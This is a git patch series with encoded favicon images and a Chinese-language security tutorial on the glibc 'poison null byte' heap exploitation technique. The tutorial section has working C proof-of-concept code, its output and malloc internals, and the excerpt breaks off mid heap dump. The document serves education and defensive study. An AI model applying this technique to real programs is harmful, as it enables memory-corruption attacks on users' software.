za!(PjEwgD*{`4UAI@J`{79N|?vy`C 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 FV1i8PECK)k literal 0 HcmV?d00001 diff --git a/tex/images/favicon/favicon_white_32.png b/tex/images/favicon/favicon_white_32.png new file mode 100644 index 0000000000000000000000000000000000000000..c25314ebde6082098aacf66ee06dbd1b9556c507 GIT binary patch literal 1812 zcmV+v2kZEWP)004R>004l5008;`004mK004C`008P>0026e000+ooVrmw00006 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 Date: Sat, 13 Jan 2018 23:52:15 +0800 Subject: [PATCH 06/13] update 3.3.6 --- doc/3.3.5_heap_exploit_1.md | 2 +- doc/3.3.6_heap_exploit_2.md | 343 ++++++++++++++++++ .../3.3.5_heap_exploit/poison_null_byte.c | 68 ++++ 3 files changed, 412 insertions(+), 1 deletion(-) create mode 100644 src/Others/3.3.5_heap_exploit/poison_null_byte.c diff --git a/doc/3.3.5_heap_exploit_1.md b/doc/3.3.5_heap_exploit_1.md index 31169c0..23614e3 100644 --- a/doc/3.3.5_heap_exploit_1.md +++ b/doc/3.3.5_heap_exploit_1.md @@ -675,7 +675,7 @@ gef➤ x/gx chunk0_ptr ``` 成功达成修改任意地址的成就。 -最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 size 和 next->prev->size 是否相同的检查,以对抗 1 字节溢出的问题。补丁如下: +最后看一点新的东西,libc-2.25 在 unlink 的开头增加了对 `chunk_size == next->prev->chunk_size` 的检查,以对抗单字节溢出的问题。补丁如下: ```diff $ git show 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 malloc/malloc.c commit 17f487b7afa7cd6c316040f3e6c86dc96b2eec30 diff --git a/doc/3.3.6_heap_exploit_2.md b/doc/3.3.6_heap_exploit_2.md index 3332749..f2846e4 100644 --- a/doc/3.3.6_heap_exploit_2.md +++ b/doc/3.3.6_heap_exploit_2.md @@ -14,6 +14,349 @@ [下载文件](../src/Others/3.3.5_heap_exploit) #### poison_null_byte +```c +#include +#include +#include +#include +#include + +int main() { + uint8_t *a, *b, *c, *b1, *b2, *d; + + a = (uint8_t*) malloc(0x10); + int real_a_size = malloc_usable_size(a); + fprintf(stderr, "We allocate 0x10 bytes for 'a': %p\n", a); + fprintf(stderr, "'real' size of 'a': %#x\n", real_a_size); + + b = (uint8_t*) malloc(0x100); + c = (uint8_t*) malloc(0x80); + fprintf(stderr, "b: %p\n", b); + fprintf(stderr, "c: %p\n", c); + + uint64_t* b_size_ptr = (uint64_t*)(b - 0x8); + *(size_t*)(b+0xf0) = 0x100; + fprintf(stderr, "b.size: %#lx ((0x100 + 0x10) | prev_in_use)\n\n", *b_size_ptr); + + // deal with tcache + // int *k[10], i; + // for (i = 0; i < 7; i++) { + // k[i] = malloc(0x100); + // } + // for (i = 0; i < 7; i++) { + // free(k[i]); + // } + free(b); + uint64_t* c_prev_size_ptr = ((uint64_t*)c) - 2; + fprintf(stderr, "After free(b), c.prev_size: %#lx\n", *c_prev_size_ptr); + + a[real_a_size] = 0; // <--- THIS IS THE "EXPLOITED BUG" + fprintf(stderr, "We overflow 'a' with a single null byte into the metadata of 'b'\n"); + fprintf(stderr, "b.size: %#lx\n\n", *b_size_ptr); + + fprintf(stderr, "Pass the check: chunksize(P) == %#lx == %#lx == prev_size (next_chunk(P))\n", *((size_t*)(b-0x8)), *(size_t*)(b-0x10 + *((size_t*)(b-0x8)))); + b1 = malloc(0x80); + memset(b1, 'A', 0x80); + fprintf(stderr, "We malloc 'b1': %p\n", b1); + fprintf(stderr, "c.prev_size: %#lx\n", *c_prev_size_ptr); + fprintf(stderr, "fake c.prev_size: %#lx\n\n", *(((uint64_t*)c)-4)); + + b2 = malloc(0x40); + memset(b2, 'A', 0x40); + fprintf(stderr, "We malloc 'b2', our 'victim' chunk: %p\n", b2); + + // deal with tcache + // for (i = 0; i < 7; i++) { + // k[i] = malloc(0x80); + // } + // for (i = 0; i < 7; i++) { + // free(k[i]); + // } + free(b1); + free(c); + fprintf(stderr, "Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2').\n"); + + d = malloc(0x110); + fprintf(stderr, "Finally, we allocate 'd', overlapping 'b2': %p\n\n", d); + + fprintf(stderr, "b2 content:%s\n", b2); + memset(d, 'B', 0xb0); + fprintf(stderr, "New b2 content:%s\n", b2); +} +``` +``` +$ gcc -g poison_null_byte.c +$ ./a.out +We allocate 0x10 bytes for 'a': 0xabb010 +'real' size of 'a': 0x18 +b: 0xabb030 +c: 0xabb140 +b.size: 0x111 ((0x100 + 0x10) | prev_in_use) + +After free(b), c.prev_size: 0x110 +We overflow 'a' with a single null byte into the metadata of 'b' +b.size: 0x100 + +Pass the check: chunksize(P) == 0x100 == 0x100 == prev_size (next_chunk(P)) +We malloc 'b1': 0xabb030 +c.prev_size: 0x110 +fake c.prev_size: 0x70 + +We malloc 'b2', our 'victim' chunk: 0xabb0c0 +Now we free 'b1' and 'c', this will consolidate the chunks 'b1' and 'c' (forgetting about 'b2'). +Finally, we allocate 'd', overlapping 'b2': 0xabb030 + +b2 content:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +New b2 content:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +``` +该技术适用的场景需要某个 malloc 的内存区域存在一个单字节溢出漏洞。 + +首先分配三个 chunk,第一个 chunk 类型无所谓,但后两个不能是 fast chunk,因为 fast chunk 在释放后不会被合并。这里 chunk a 用于制造单字节溢出,去覆盖 chunk b 的第一个字节,chunk c 的作用是帮助伪造 fake chunk。 + +首先是溢出,那么就需要知道一个堆块实际可用的内存大小(因为空间复用,可能会比分配时要大一点),用于获得该大小的函数 `malloc_usable_size` 如下: +```c +/* + ------------------------- malloc_usable_size ------------------------- + */ +static size_t +musable (void *mem) +{ + mchunkptr p; + if (mem != 0) + { + p = mem2chunk (mem); + + [...] + if (chunk_is_mmapped (p)) + return chunksize (p) - 2 * SIZE_SZ; + else if (inuse (p)) + return chunksize (p) - SIZE_SZ; + } + return 0; +} +``` +```c +/* check for mmap()'ed chunk */ +#define chunk_is_mmapped(p) ((p)->size & IS_MMAPPED) +/* extract p's inuse bit */ +#define inuse(p) \ + ((((mchunkptr) (((char *) (p)) + ((p)->size & ~SIZE_BITS)))->size) & PREV_INUSE) +/* Get size, ignoring use bits */ +#define chunksize(p) ((p)->size & ~(SIZE_BITS)) +``` +所以 `real_a_size = chunksize(a) - 0x8 == 0x18`。另外需要注意的是程序是通过 next chunk 的 `PREV_INUSE` 标志来判断某 chunk 是否被使用的。 + +为了在修改 chunk b 的 size 字段后,依然能通过 unlink 的检查,我们需要伪造一个 c.prev_size 字段,字段的大小是很好计算的,即 `0x100 == (0x111 & 0xff00)`,正好是 NULL 字节溢出后的值。然后把 chunk b 释放掉,chunk b 随后被放到 unsorted bin 中,大小是 0x110。此时的堆布局如下: +``` +gef➤ x/42gx a-0x10 +0x603000: 0x0000000000000000 0x0000000000000021 <-- chunk a +0x603010: 0x0000000000000000 0x0000000000000000 +0x603020: 0x0000000000000000 0x0000000000000111 <-- chunk b [be freed] +0x603030: 